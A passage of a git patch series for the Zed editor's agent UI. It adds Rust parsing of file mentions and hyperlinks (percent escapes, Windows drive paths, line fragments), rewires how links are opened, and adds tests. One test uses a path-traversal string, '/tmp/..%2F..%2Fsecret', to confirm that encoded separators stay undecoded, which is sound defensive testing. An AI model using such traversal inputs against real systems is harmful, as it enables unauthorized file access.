+            | MentionUri::Fetch { .. }
+            | MentionUri::TerminalSelection { .. }
+            | MentionUri::GitDiff { .. }
+            | MentionUri::MergeConflict { .. } => None,
+        }
+    }
+
     pub fn name(&self) -> String {
         match self {
             MentionUri::File { abs_path, .. } | MentionUri::Directory { abs_path, .. } => abs_path
@@ -599,6 +594,217 @@ impl fmt::Display for MentionLink<'_> {
     }
 }
 
+#[derive(Clone, Copy, PartialEq, Eq)]
+enum DecodePercentEscapes {
+    Yes,
+    No,
+}
+
+fn parse_line_range(fragment: &str) -> Result<RangeInclusive<u32>> {
+    let range = fragment.strip_prefix("L").unwrap_or(fragment);
+
+    let (start, end) = if let Some((start, end)) = range.split_once(":") {
+        (start, end)
+    } else if let Some((start, end)) = range.split_once("-") {
+        // Also handle L10-20 or L10-L20 format
+        (start, end.strip_prefix("L").unwrap_or(end))
+    } else {
+        // Single line number like L1872 - treat as a range of one line
+        (range, range)
+    };
+
+    let start_line = start
+        .parse::<u32>()
+        .context("Parsing line range start")?
+        .checked_sub(1)
+        .context("Line numbers should be 1-based")?;
+    let end_line = end
+        .parse::<u32>()
+        .context("Parsing line range end")?
+        .checked_sub(1)
+        .context("Line numbers should be 1-based")?;
+
+    Ok(start_line..=end_line)
+}
+
+/// Returns the mention target as a bare absolute path (not a URL), with the
+/// backticks agents sometimes add stripped.
+fn bare_path_target(input: &str, path_style: PathStyle) -> Option<&str> {
+    let input = input
+        .strip_prefix('`')
+        .and_then(|input| input.strip_suffix('`'))
+        .unwrap_or(input);
+    (is_absolute(input, path_style) && !input.contains("://")).then_some(input)
+}
+
+fn split_path_fragment(input: &str) -> (&str, Option<&str>) {
+    input
+        .split_once('#')
+        .map_or((input, None), |(path, fragment)| (path, Some(fragment)))
+}
+
+fn parse_absolute_path(input: &str) -> Result<MentionUri> {
+    let (path_input, fragment) = split_path_fragment(input);
+    absolute_path_mention(path_input, fragment)
+}
+
+/// Like [`parse_absolute_path`], but normalizes hyperlink spellings first.
+fn parse_hyperlink_path(
+    input: &str,
+    path_style: PathStyle,
+    decode_escapes: DecodePercentEscapes,
+) -> Result<MentionUri> {
+    let (path_input, fragment) = split_path_fragment(input);
+    let path_input = normalize_path_mention(path_input, path_style, decode_escapes);
+    absolute_path_mention(&path_input, fragment)
+}
+
+fn absolute_path_mention(path_input: &str, fragment: Option<&str>) -> Result<MentionUri> {
+    if let Some(fragment) = fragment.and_then(|fragment| parse_line_range(fragment).ok()) {
+        return Ok(MentionUri::Selection {
+            abs_path: Some(path_input.into()),
+            line_range: fragment,
+            column: None,
+        });
+    }
+
+    let path_with_position = PathWithPosition::parse_str(path_input);
+    let abs_path = path_with_position.path;
+    if let Some(row) = path_with_position.row {
+        let line = row
+            .checked_sub(1)
+            .context("Line numbers should be 1-based")?;
+        Ok(MentionUri::Selection {
+            abs_path: Some(abs_path),
+            line_range: line..=line,
+            column: path_with_position
+                .column
+                .map(|column| column.saturating_sub(1)),
+        })
+    } else {
+        Ok(MentionUri::File { abs_path })
+    }
+}
+
+fn normalize_path_mention(
+    input: &str,
+    path_style: PathStyle,
+    decode_escapes: DecodePercentEscapes,
+) -> Cow<'_, str> {
+    let decoded = match decode_escapes {
+        DecodePercentEscapes::Yes => decode_path_escapes(input),
+        DecodePercentEscapes::No => Cow::Borrowed(input),
+    };
+    if !path_style.is_windows() {
+        return decoded;
+    }
+    match to_native_windows_path(&decoded) {
+        Some(native) => Cow::Owned(native),
+        None => decoded,
+    }
+}
+
+/// Decodes percent escapes in a path, leaving separator escapes (`%2F`,
+/// `%5C`) encoded so decoding can't change which directories the path
+/// traverses. Invalid sequences and non-UTF-8 results leave the input
+/// unchanged. Returns `Cow::Owned` iff decoding changed the input
+/// (`parse_hyperlink_literal` relies on this).
+fn decode_path_escapes(input: &str) -> Cow<'_, str> {
+    fn hex_digit(byte: u8) -> Option<u8> {
+        match byte {
+            b'0'..=b'9' => Some(byte - b'0'),
+            b'a'..=b'f' => Some(byte - b'a' + 10),
+            b'A'..=b'F' => Some(byte - b'A' + 10),
+            _ => None,
+        }
+    }
+
+    if !input.contains('%') {
+        return Cow::Borrowed(input);
+    }
+    let bytes = input.as_bytes();
+    let mut decoded = Vec::with_capacity(bytes.len());
+    let mut index = 0;
+    while index < bytes.len() {
+        if bytes[index] == b'%'
+            && let Some(high) = bytes.get(index + 1).copied().and_then(hex_digit)
+            && let Some(low) = bytes.get(index + 2).copied().and_then(hex_digit)
+        {
+            let byte = (high << 4) | low;
+            if byte != b'/' && byte != b'\\' {
+                decoded.push(byte);
+                index += 3;
+                continue;
+            }
+        }
+        decoded.push(bytes[index]);
+        index += 1;
+    }
+    if decoded == bytes {
+        return Cow::Borrowed(input);
+    }
+    match String::from_utf8(decoded) {
+        Ok(decoded) => Cow::Owned(decoded),
+        Err(_) => Cow::Borrowed(input),
+    }
+}
+
+/// Converts Windows-compatible path spellings into a native Windows path,
+/// normalizing separators to backslashes and drive letters to uppercase so
+/// parsed paths compare equal to worktree paths. Returns `None` when the
+/// input needs no changes.
+fn to_native_windows_path(path: &str) -> Option<String> {
+    fn join_drive(drive: char, rest: &str) -> String {
+        format!(
+            "{}:\\{}",
+            drive.to_ascii_uppercase(),
+            rest.replace('/', "\\")
+        )
+    }
+
+    if let Some(rest) = path.strip_prefix('/') {
+        // URL-style path with a leading slash before the drive: `/C:/foo`.
+        let mut chars = rest.chars();
+        if let (Some(drive), Some(':'), Some('/' | '\\')) =
+            (chars.next(), chars.next(), chars.next())
+            && drive.is_ascii_alphabetic()
+        {
+            return Some(join_drive(drive, chars.as_str()));
+        }
+
+        // MSYS/Git Bash style: `/c/foo`. Lowercase-only, since that's what
+        // those shells emit and uppercase risks misreading real directories.
+        let mut chars = rest.chars();
+        if let (Some(drive), Some('/' | '\\')) = (chars.next(), chars.next())
+            && drive.is_ascii_lowercase()
+        {
+            return Some(join_drive(drive, chars.as_str()));
+        }
+    }
+
+    // A native path with a drive prefix: uppercase the drive and normalize
+    // separators, e.g. `c:/foo` or `c:\foo`.
+    let mut chars = path.chars();
+    if let (Some(drive), Some(':')) = (chars.next(), chars.next())
+        && drive.is_ascii_alphabetic()
+    {
+        if drive.is_ascii_uppercase() && !path.contains('/') {
+            return None;
+        }
+        return Some(format!(
+            "{}:{}",
+            drive.to_ascii_uppercase(),
+            chars.as_str().replace('/', "\\")
+        ));
+    }
+
+    if path.contains('/') {
+        return Some(path.replace('/', "\\"));
+    }
+
+    None
+}
+
 fn default_include_errors() -> bool {
     true
 }
@@ -727,6 +933,298 @@ mod tests {
         }
     }
 
+    #[test]
+    fn test_parse_file_uri_with_spaces() {
+        let parsed =
+            MentionUri::parse("file:///C:/path%20with%20space/file.rs", PathStyle::Windows)
+                .unwrap();
+        match parsed {
+            MentionUri::File { abs_path } => {
+                assert_eq!(abs_path, PathBuf::from("C:\\path with space\\file.rs"));
+            }
+            other => panic!("Expected File variant, got {other:?}"),
+        }
+        assert_eq!(
+            MentionUri::File {
+                abs_path: PathBuf::from("C:\\path with space\\file.rs")
+            }
+            .to_uri()
+            .to_string(),
+            "file:///C:/path%20with%20space/file.rs"
+        );
+    }
+
+    #[test]
+    fn test_parse_windows_drive_path_with_leading_slash_and_line() {
+        let parsed = MentionUri::parse_hyperlink(
+            "/C:/Projects/Example Workspace/Cargo.toml:2",
+            PathStyle::Windows,
+        )
+        .unwrap();
+        match parsed {
+            MentionUri::Selection {
+                abs_path: Some(abs_path),
+                line_range,
+                ..
+            } => {
+                assert_eq!(
+                    abs_path,
+                    PathBuf::from("C:\\Projects\\Example Workspace\\Cargo.toml")
+                );
+                assert_eq!(line_range, 1..=1);
+            }
+            other => panic!("Expected Selection variant, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn test_parse_windows_path_with_percent_escaped_spaces_and_line() {
+        let parsed = MentionUri::parse_hyperlink(
+            "C:\\Projects\\Example%20Workspace\\path\\to\\filename.ext:42",
+            PathStyle::Windows,
+        )
+        .unwrap();
+        match parsed {
+            MentionUri::Selection {
+                abs_path: Some(abs_path),
+                line_range,
+                ..
+            } => {
+                assert_eq!(
+                    abs_path,
+                    PathBuf::from("C:\\Projects\\Example Workspace\\path\\to\\filename.ext")
+                );
+                assert_eq!(line_range, 41..=41);
+            }
+            other => panic!("Expected Selection variant, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn test_parse_windows_compat_path_with_spaces() {
+        let parsed = MentionUri::parse_hyperlink(
+            "/c/Projects/Example Workspace/AGENTS.md",
+            PathStyle::Windows,
+        )
+        .unwrap();
+        match parsed {
+            MentionUri::File { abs_path } => {
+                assert_eq!(
+                    abs_path,
+                    PathBuf::from("C:\\Projects\\Example Workspace\\AGENTS.md")
+                );
+            }
+            other => panic!("Expected File variant, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn test_parse_windows_drive_path_with_leading_slash_and_fragment_line() {
+        let parsed =
+            MentionUri::parse_hyperlink("/C:/Projects/Cargo.toml#L4", PathStyle::Windows).unwrap();
+        match parsed {
+            MentionUri::Selection {
+                abs_path: Some(abs_path),
+                line_range,
+                ..
+            } => {
+                assert_eq!(abs_path, PathBuf::from("C:\\Projects\\Cargo.toml"));
+                assert_eq!(line_range, 3..=3);
+            }
+            other => panic!("Expected Selection variant, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn test_windows_drive_path_with_leading_slash_round_trips() {
+        let parsed = MentionUri::parse_hyperlink("/C:/dir/file.rs", PathStyle::Windows).unwrap();
+        assert_eq!(
+            parsed,
+            MentionUri::File {
+                abs_path: PathBuf::from("C:\\dir\\file.rs")
+            }
+        );
+        let uri = parsed.to_uri().to_string();
+        assert_eq!(uri, "file:///C:/dir/file.rs");
+        assert_eq!(MentionUri::parse(&uri, PathStyle::Windows).unwrap(), parsed);
+    }
+
+    #[test]
+    fn test_parse_windows_unc_path() {
+        let parsed =
+            MentionUri::parse_hyperlink("//server/share/dir/file.rs", PathStyle::Windows).unwrap();
+        match parsed {
+            MentionUri::File { abs_path } => {
+                assert_eq!(abs_path, PathBuf::from("\\\\server\\share\\dir\\file.rs"));
+            }
+            other => panic!("Expected File variant, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn test_parse_windows_drive_letters_are_uppercased() {
+        for input in [
+            "file:///c:/foo/bar.rs",
+            "/c:/foo/bar.rs",
+            "/c/foo/bar.rs",
+            "c:\\foo\\bar.rs",
+            "c:/foo/bar.rs",
+        ] {
+            let parsed = MentionUri::parse_hyperlink(input, PathStyle::Windows).unwrap();
+            assert_eq!(
+                parsed,
+                MentionUri::File {
+                    abs_path: PathBuf::from("C:\\foo\\bar.rs")
+                },
+                "input: {input}"
+            );
+        }
+    }
+
+    #[test]
+    fn test_msys_style_paths_require_lowercase_drive() {
+        // Uppercase `/C/foo` is more likely a real directory than a drive.
+        let parsed = MentionUri::parse_hyperlink("/C/Users/readme.md", PathStyle::Windows).unwrap();
+        match parsed {
+            MentionUri::File { abs_path } => {
+                assert_eq!(abs_path, PathBuf::from("\\C\\Users\\readme.md"));
+            }
+            other => panic!("Expected File variant, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn test_posix_paths_are_not_rewritten_as_windows_drives() {
+        let parsed =
+            MentionUri::parse_hyperlink("/c/Projects/AGENTS.md", PathStyle::Posix).unwrap();
+        match parsed {
+            MentionUri::File { abs_path } => {
+                assert_eq!(abs_path, PathBuf::from("/c/Projects/AGENTS.md"));
+            }
+            other => panic!("Expected File variant, got {other:?}"),
+        }
+    }
+
+    #[test]
+    fn test_hyperlink_percent_escapes_are_decoded() {
+        let parsed = MentionUri::parse_hyperlink("/tmp/a%20b.rs", PathStyle::Posix).unwrap();
+        assert_eq!(
+            parsed,
+            MentionUri::File {
+                abs_path: PathBuf::from("/tmp/a b.rs")
+            }
+        );
+
+        // Invalid escape sequences pass through unchanged.
+        let parsed =
+            MentionUri::parse_hyperlink("C:\\dir\\100%_done.txt", PathStyle::Windows).unwrap();
+        assert_eq!(
+            parsed,
+            MentionUri::File {
+                abs_path: PathBuf::from("C:\\dir\\100%_done.txt")
+            }
+        );
+
+        // Separator escapes stay encoded (no introduced path traversal).
+        let parsed = MentionUri::parse_hyperlink("/tmp/a%2Fb.rs", PathStyle::Posix).unwrap();
+        assert_eq!(
+            parsed,
+            MentionUri::File {
+                abs_path: PathBuf::from("/tmp/a%2Fb.rs")
+            }
+        );
+        let parsed =
+            MentionUri::parse_hyperlink("/tmp/..%2F..%2Fsecret", PathStyle::Posix).unwrap();
+        assert_eq!(
+            parsed,
+            MentionUri::File {
+                abs_path: PathBuf::from("/tmp/..%2F..%2Fsecret")
+            }
+        );
+    }
+
+    #[test]
+    fn test_parse_keeps_bare_path_targets_verbatim() {
+        let parsed = MentionUri::parse("/tmp/a%20b.rs", PathStyle::Posix).unwrap();
+        assert_eq!(
+            parsed,
+            MentionUri::File {
+                abs_path: PathBuf::from("/tmp/a%20b.rs")
+            }
+        );
+
+        let parsed = MentionUri::parse("/c/Projects/AGENTS.md", PathStyle::Windows).unwrap();
+        assert_eq!(
+            parsed,
+            MentionUri::File {
+                abs_path: PathBuf::from("/c/Projects/AGENTS.md")
+            }
+        );
+    }
+
+    #[test]
+    fn test_parse_hyperlink_literal_keeps_percent_escapes() {
+        let literal =
+            MentionUri::parse_hyperlink_literal("/tmp/a%20b.rs", PathStyle::Posix).unwrap();
+        assert_eq!(
+            literal,
+            MentionUri::File {
+                abs_path: PathBuf::from("/tmp/a%20b.rs")
+            }
+        );
+
+        // Line suffixes still parse.
+        let literal =
+            MentionUri::parse_hyperlink_literal("/tmp/a%20b.rs:42", PathStyle::Posix).unwrap();
+        assert_eq!(
+            literal,
+            MentionUri::Selection {
+                abs_path: Some(PathBuf::from("/tmp/a%20b.rs")),
+                line_range: 41..=41,
+                column: None,
+            }
+        );
+
+        // Windows normalization still applies.
+        let literal =
+            MentionUri::parse_hyperlink_literal("/C:/dir/a%20b.rs", PathStyle::Windows).unwrap();
+        assert_eq!(
+            literal,
+            MentionUri::File {
+                abs_path: PathBuf::from("C:\\dir\\a%20b.rs")
+            }
+        );
+    }
+
+    #[test]
+    fn test_parse_hyperlink_literal_returns_none_when_unambiguous() {
+        // No percent escapes: identical to `parse_hyperlink`.
+        assert_eq!(
+            MentionUri::parse_hyperlink_literal("/tmp/a b.rs", PathStyle::Posix),
+            None
+        );
+        // Invalid escape sequences are also left alone by `parse_hyperlink`.
+        assert_eq!(
+            MentionUri::parse_hyperlink_literal("/tmp/100%_done.txt", PathStyle::Posix),
+            None
+        );
+        // Separator escapes are never decoded, so they're not ambiguous.
+        assert_eq!(
+            MentionUri::parse_hyperlink_literal("/tmp/a%2Fb.rs", PathStyle::Posix),
+            None
+        );
+        // URLs are spec-encoded, not ambiguous.
+        assert_eq!(
+            MentionUri::parse_hyperlink_literal("file:///tmp/a%20b.rs", PathStyle::Posix),
+            None
+        );
+        // Relative paths are not bare-path mentions.
+        assert_eq!(
+            MentionUri::parse_hyperlink_literal("tmp/a%20b.rs", PathStyle::Posix),
+            None
+        );
+    }
+
     #[test]
     fn test_to_directory_uri_without_slash() {
         let uri = MentionUri::Directory {
diff --git a/crates/agent/src/tools/find_path_tool.rs b/crates/agent/src/tools/find_path_tool.rs
index 481f1433fbf7c8..eb08000d3a859e 100644
--- a/crates/agent/src/tools/find_path_tool.rs
+++ b/crates/agent/src/tools/find_path_tool.rs
@@ -1,4 +1,5 @@
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
+use acp_thread::MentionUri;
 use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Result, anyhow};
 use futures::FutureExt as _;
@@ -155,10 +156,13 @@ impl AgentTool for FindPathTool {
                         paginated_matches
                             .iter()
                             .map(|path| {
+                                let uri = MentionUri::File {
+                                    abs_path: path.clone(),
+                                };
                                 acp::ToolCallContent::Content(acp::Content::new(
                                     acp::ContentBlock::ResourceLink(acp::ResourceLink::new(
                                         path.to_string_lossy(),
-                                        format!("file://{}", path.display()),
+                                        uri.to_uri().to_string(),
                                     )),
                                 ))
                             })
diff --git a/crates/agent/src/tools/grep_tool.rs b/crates/agent/src/tools/grep_tool.rs
index 748642b3cda6c1..5af92b2e451c0b 100644
--- a/crates/agent/src/tools/grep_tool.rs
+++ b/crates/agent/src/tools/grep_tool.rs
@@ -1,4 +1,5 @@
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
+use acp_thread::MentionUri;
 use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use futures::{FutureExt as _, StreamExt};
@@ -327,10 +328,15 @@ impl AgentTool for GrepTool {
                     output.push_str("\n```\n");
 
                     if let Some(abs_path) = &abs_path {
+                        let uri = MentionUri::Selection {
+                            abs_path: Some(abs_path.clone()),
+                            line_range: range.start.row..=end_row,
+                            column: None,
+                        };
                         content.push(acp::ToolCallContent::Content(acp::Content::new(
                             acp::ContentBlock::ResourceLink(acp::ResourceLink::new(
                                 format!("{}#{}", path.display(), line_label),
-                                format!("file://{}#{}", abs_path.display(), line_label),
+                                uri.to_uri().to_string(),
                             )),
                         )));
                         locations.push(
@@ -393,6 +399,7 @@ mod tests {
     use project::{FakeFs, Project};
     use serde_json::json;
     use settings::SettingsStore;
+    use std::path::PathBuf;
     use unindent::Unindent;
     use util::path;
 
@@ -611,21 +618,30 @@ mod tests {
             .collect::<Vec<_>>();
         assert_eq!(links.len(), 2, "expected one resource link per match");
 
-        let alpha_uri = format!("file://{}#L1", path!("/root/src/alpha.txt"));
+        let selection_uri = |abs_path: &str| {
+            MentionUri::Selection {
+                abs_path: Some(PathBuf::from(abs_path)),
+                line_range: 0..=0,
+                column: None,
+            }
+            .to_uri()
+            .to_string()
+        };
+
+        let alpha_uri = selection_uri(path!("/root/src/alpha.txt"));
         assert!(
             links.iter().any(|link| {
-                link.name.replace('\\', "/") == "root/src/alpha.txt#L1"
-                    && link.uri.replace('\\', "/") == alpha_uri.replace('\\', "/")
+                link.name.replace('\\', "/") == "root/src/alpha.txt#L1" && link.uri == alpha_uri
             }),
             "missing clickable link for alpha.txt, got: {links:?}"
         );
 
-        let beta_uri = format!("file://{}#L1", path!("/root/beta.txt"));
+        let beta_uri = selection_uri(path!("/root/beta.txt"));
         assert!(
-            links.iter().any(|link| {
-                link.name.replace('\\', "/") == "root/beta.txt#L1"
-                    && link.uri.replace('\\', "/") == beta_uri.replace('\\', "/")
-            }),
+            links
+                .iter()
+                .any(|link| link.name.replace('\\', "/") == "root/beta.txt#L1"
+                    && link.uri == beta_uri),
             "missing clickable link for beta.txt, got: {links:?}"
         );
 
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 1949a5965a86e8..ccaf59f72b03f0 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -65,7 +65,7 @@ use serde::{Deserialize, Serialize};
 use settings::{LanguageModelSelection, Settings as _, SettingsStore, SidebarSide};
 use std::any::TypeId;
 use std::path::{Path, PathBuf};
-use workspace::Workspace;
+use workspace::{OpenOptions, Workspace};
 
 use crate::agent_configuration::ManageProfilesModal;
 pub use crate::agent_connection_store::{ActiveAcpConnection, AgentConnectionStore};
@@ -118,40 +118,68 @@ pub(crate) fn resolve_agent_image(
     None
 }
 
+/// Opens `abs_path` in the workspace, moving the cursor to `point` when one
+/// is given. Paths outside every worktree are only opened when a file exists
+/// there, so broken agent links don't create empty buffers.
 pub(crate) fn open_abs_path_at_point(
     workspace: &mut Workspace,
     abs_path: PathBuf,
-    point: Point,
+    point: Option<Point>,
     window: &mut Window,
     cx: &mut Context<Workspace>,
-) -> bool {
-    let project = workspace.project();
-    let Some(path) = project.update(cx, |project, cx| project.find_project_path(abs_path, cx))
-    else {
-        return false;
-    };
-
-    let item = workspace.open_path(path, None, true, window, cx);
+) {
+    let project_path = workspace
+        .project()
+        .update(cx, |project, cx| project.find_project_path(&abs_path, cx));
+    let fs = workspace.project().read(cx).fs().clone();
+    let workspace = cx.weak_entity();
     window
         .spawn(cx, async move |cx| {
-            let Some(editor) = item.await?.downcast::<Editor>() else {
+            let item = if let Some(project_path) = project_path {
+                workspace
+                    .update_in(cx, |workspace, window, cx| {
+                        workspace.open_path(project_path, None, true, window, cx)
+                    })?
+                    .await?
+            } else {
+                let metadata = fs.metadata(&abs_path).await?;
+                anyhow::ensure!(
+                    metadata.is_some_and(|metadata| !metadata.is_dir),
+                    "no file found at path {abs_path:?}"
+                );
+                workspace
+                    .update_in(cx, |workspace, window, cx| {
+                        workspace.open_abs_path(
+                            abs_path,
+                            OpenOptions {
+                                focus: Some(true),
+                                ..Default::default()
+                            },
+                            window,
+                            cx,
+                        )
+                    })?
+                    .await?
+            };
+            let Some(point) = point else {
+                return Ok(());
+            };
+            let Some(editor) = item.downcast::<Editor>() else {
                 return Ok(());
             };
-            let range = point..point;
             editor
                 .update_in(cx, |editor, window, cx| {
                     editor.change_selections(
                         SelectionEffects::scroll(Autoscroll::center()),
                         window,
                         cx,
-                        |selections| selections.select_ranges([range]),
+                        |selections| selections.select_ranges([point..point]),
                     );
                 })
                 .ok();
             anyhow::Ok(())
         })
         .detach_and_log_err(cx);
-    true
 }
 
 pub const DEFAULT_THREAD_TITLE: &str = "New Agent Thread";
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 42a22219883b86..2d7c6b6ca40f16 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -11931,19 +11931,31 @@ pub(crate) fn open_link(
         return;
     };
 
-    if let Some(mention) = MentionUri::parse(&url, workspace.read(cx).path_style(cx)).log_err() {
+    let path_style = workspace.read(cx).path_style(cx);
+    if let Some(mention) = MentionUri::parse_hyperlink(&url, path_style).log_err() {
+        // Percent escapes in bare paths are ambiguous: prefer the decoded
+        // interpretation, falling back to the literal one (e.g. a file
+        // actually named `a%20b.rs`) only when the decoded path doesn't
+        // resolve in the project but the literal one does.
+        let resolves_in_project = |mention: &MentionUri, cx: &App| {
+            mention.abs_path().is_some_and(|abs_path| {
+                let project = workspace.read(cx).project().read(cx);
+                project
+                    .find_project_path(abs_path, cx)
+                    .is_some_and(|path| project.entry_for_path(&path, cx).is_some())
+            })
+        };
+        let mention = match MentionUri::parse_hyperlink_literal(&url, path_style) {
+            Some(literal)
+                if !resolves_in_project(&mention, cx) && resolves_in_project(&literal, cx) =>
+            {
+                literal
+            }
+            _ => mention,
+        };
         workspace.update(cx, |workspace, cx| match mention {
             MentionUri::File { abs_path } => {
-                let project = workspace.project();
-                let Some(path) =
-                    project.update(cx, |project, cx| project.find_project_path(abs_path, cx))
-                else {
-                    return;
-                };
-
-                workspace
-                    .open_path(path, None, true, window, cx)
-                    .detach_and_log_err(cx);
+                open_abs_path_at_point(workspace, abs_path, None, window, cx);
             }
             MentionUri::PastedImage { .. } => {}
             MentionUri::Directory { abs_path } => {
@@ -11967,7 +11979,7 @@ pub(crate) fn open_link(
                 open_abs_path_at_point(
                     workspace,
                     path,
-                    Point::new(*line_range.start(), 0),
+                    Some(Point::new(*line_range.start(), 0)),
                     window,
                     cx,
                 );
@@ -11980,7 +11992,7 @@ pub(crate) fn open_link(
                 open_abs_path_at_point(
                     workspace,
                     path,
-                    Point::new(*line_range.start(), column.unwrap_or(0)),
+                    Some(Point::new(*line_range.start(), column.unwrap_or(0))),
                     window,
                     cx,
                 );
@@ -12067,6 +12079,7 @@ mod tests {
     use super::*;
     use project::{FakeFs, Project};
     use serde_json::json;
+    use std::path::Path;
     use util::path;
     use workspace::MultiWorkspace;
 
@@ -12171,6 +12184,118 @@ mod tests {
             assert!(*active.path == *"src/main.rs");
         });
     }
+
+    #[gpui::test]
+    async fn test_open_link_percent_escape_disambiguation(cx: &mut gpui::TestAppContext) {
+        crate::test_support::init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                "a%20b.rs": "literal",
+                "a b.rs": "decoded",
+                "c d.rs": "",
+                "e%20f.rs": "",
+            }),
+        )
+        .await;
+
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        let workspace_weak = workspace.downgrade();
+
+        let open_link_and_active_path = |url: String, cx: &mut gpui::VisualTestContext| {
+            multi_workspace.update_in(cx, |_, window, cx| {
+                open_link(url.into(), &workspace_weak, window, cx);
+            });
+            cx.run_until_parked();
+            workspace.read_with(cx, |workspace, cx| {
+                workspace
+                    .active_item(cx)
+                    .and_then(|item| item.project_path(cx))
+                    .expect("file should be open")
+                    .path
+            })
+        };
+
+        // Both interpretations exist: the decoded one wins.
+        let path = open_link_and_active_path(path!("/project/a%20b.rs").to_string(), cx);
+        assert_eq!(*path, *"a b.rs");
+
+        // Only the decoded file exists.
+        let path = open_link_and_active_path(path!("/project/c%20d.rs").to_string(), cx);
+        assert_eq!(*path, *"c d.rs");
+
+        // Only the literally-named file exists: fall back to it.
+        let path = open_link_and_active_path(path!("/project/e%20f.rs").to_string(), cx);
+        assert_eq!(*path, *"e%20f.rs");
+    }
+
+    #[gpui::test]
+    async fn test_open_link_out_of_project_path(cx: &mut gpui::TestAppContext) {
+        crate::test_support::init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(path!("/project"), json!({"src": {"main.rs": ""}}))
+            .await;
+        fs.insert_tree(path!("/outside"), json!({"notes.md": "one\ntwo\nthree\n"}))
+            .await;
+
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        let workspace_weak = workspace.downgrade();
+
+        // A nonexistent out-of-project path opens nothing, not even an
+        // empty buffer.
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_link(
+                path!("/outside/missing.md").to_string().into(),
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        workspace.read_with(cx, |workspace, cx| {
+            assert!(
+                workspace.active_item(cx).is_none(),
+                "nothing should open for a nonexistent path"
+            );
+        });
+
+        // An existing out-of-project file opens at the linked line.
+        multi_workspace.update_in(cx, |_, window, cx| {
+            open_link(
+                format!("{}:2", path!("/outside/notes.md")).into(),
+                &workspace_weak,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        let editor = workspace.read_with(cx, |workspace, cx| {
+            let item = workspace.active_item(cx).expect("file should be open");
+            let project_path = item.project_path(cx).expect("item should have a path");
+            let abs_path = workspace
+                .project()
+                .read(cx)
+                .absolute_path(&project_path, cx);
+            assert_eq!(
+                abs_path.as_deref(),
+                Some(Path::new(path!("/outside/notes.md")))
+            );
+            item.downcast::<Editor>().expect("should be an editor")
+        });
+        editor.update_in(cx, |editor, window, cx| {
+            let snapshot = editor.snapshot(window, cx);
+            assert_eq!(editor.selections.newest::<Point>(&snapshot).head().row, 1);
+        });
+    }
 }
 
 const FAST_MODE_WARNING_NAMESPACE: &str = "fast-mode-warning-dismissed";
diff --git a/crates/agent_ui/src/ui/mention_crease.rs b/crates/agent_ui/src/ui/mention_crease.rs
index 97f45526cdcee2..6959b5bc4c06c8 100644
--- a/crates/agent_ui/src/ui/mention_crease.rs
+++ b/crates/agent_ui/src/ui/mention_crease.rs
@@ -160,14 +160,14 @@ fn open_mention_uri(
 
     workspace.update(cx, |workspace, cx| match mention_uri {
         MentionUri::File { abs_path } => {
-            open_file(workspace, abs_path, None, window, cx);
+            open_abs_path_at_point(workspace, abs_path, None, window, cx);
         }
         MentionUri::Symbol {
             abs_path,
             line_range,
             ..
         } => {
-            open_file(
+            open_abs_path_at_point(
                 workspace,
                 abs_path,
                 Some(Point::new(*line_range.start(), 0)),
@@ -180,7 +180,7 @@ fn open_mention_uri(
             line_range,
             column,
         } => {
-            open_file(
+            open_abs_path_at_point(
                 workspace,
                 abs_path,
                 Some(Point::new(*line_range.start(), column.unwrap_or(0))),
@@ -339,41 +339,6 @@ fn open_skill_content_buffer(
     workspace.add_item(pane, Box::new(editor), None, true, true, window, cx);
 }
 
-fn open_file(
-    workspace: &mut Workspace,
-    abs_path: PathBuf,
-    point: Option<Point>,
-    window: &mut Window,
-    cx: &mut Context<Workspace>,
-) {
-    if let Some(point) = point {
-        if open_abs_path_at_point(workspace, abs_path.clone(), point, window, cx) {
-            return;
-        }
-    }
-
-    let project = workspace.project();
-    if let Some(project_path) =
-        project.update(cx, |project, cx| project.find_project_path(&abs_path, cx))
-    {
-        workspace
-            .open_path(project_path, None, true, window, cx)
-            .detach_and_log_err(cx);
-    } else if abs_path.exists() {
-        workspace
-            .open_abs_path(
-                abs_path,
-                OpenOptions {
-                    focus: Some(true),
-                    ..Default::default()
-                },
-                window,
-                cx,
-            )
-            .detach_and_log_err(cx);
-    }
-}
-
 fn reveal_in_project_panel(
     workspace: &mut Workspace,
     abs_path: PathBuf,

From 5b805ac0743660a7034c6504b49a9f10f65524c0 Mon Sep 17 00:00:00 2001
From: Danny Clarke <clarkenciel@gmail.com>
Date: Sun, 5 Jul 2026 18:58:57 -0700
Subject: [PATCH 264/772] git_graph: Selectable commit message in detail panel
 (#59674)

# Objective

Fixes #57766

Allow users to select and copy the text of commit messages from the git
graph details panel.

## Solution

Implements selectable commit message in the detail panel using
`MarkdownElement`s a la `commit_view`.

### Affordances considered and abandoned:

- "copy message" and/or "copy subject" buttons, but the UI here is
already pretty tight and I don't feel confident enough in my design
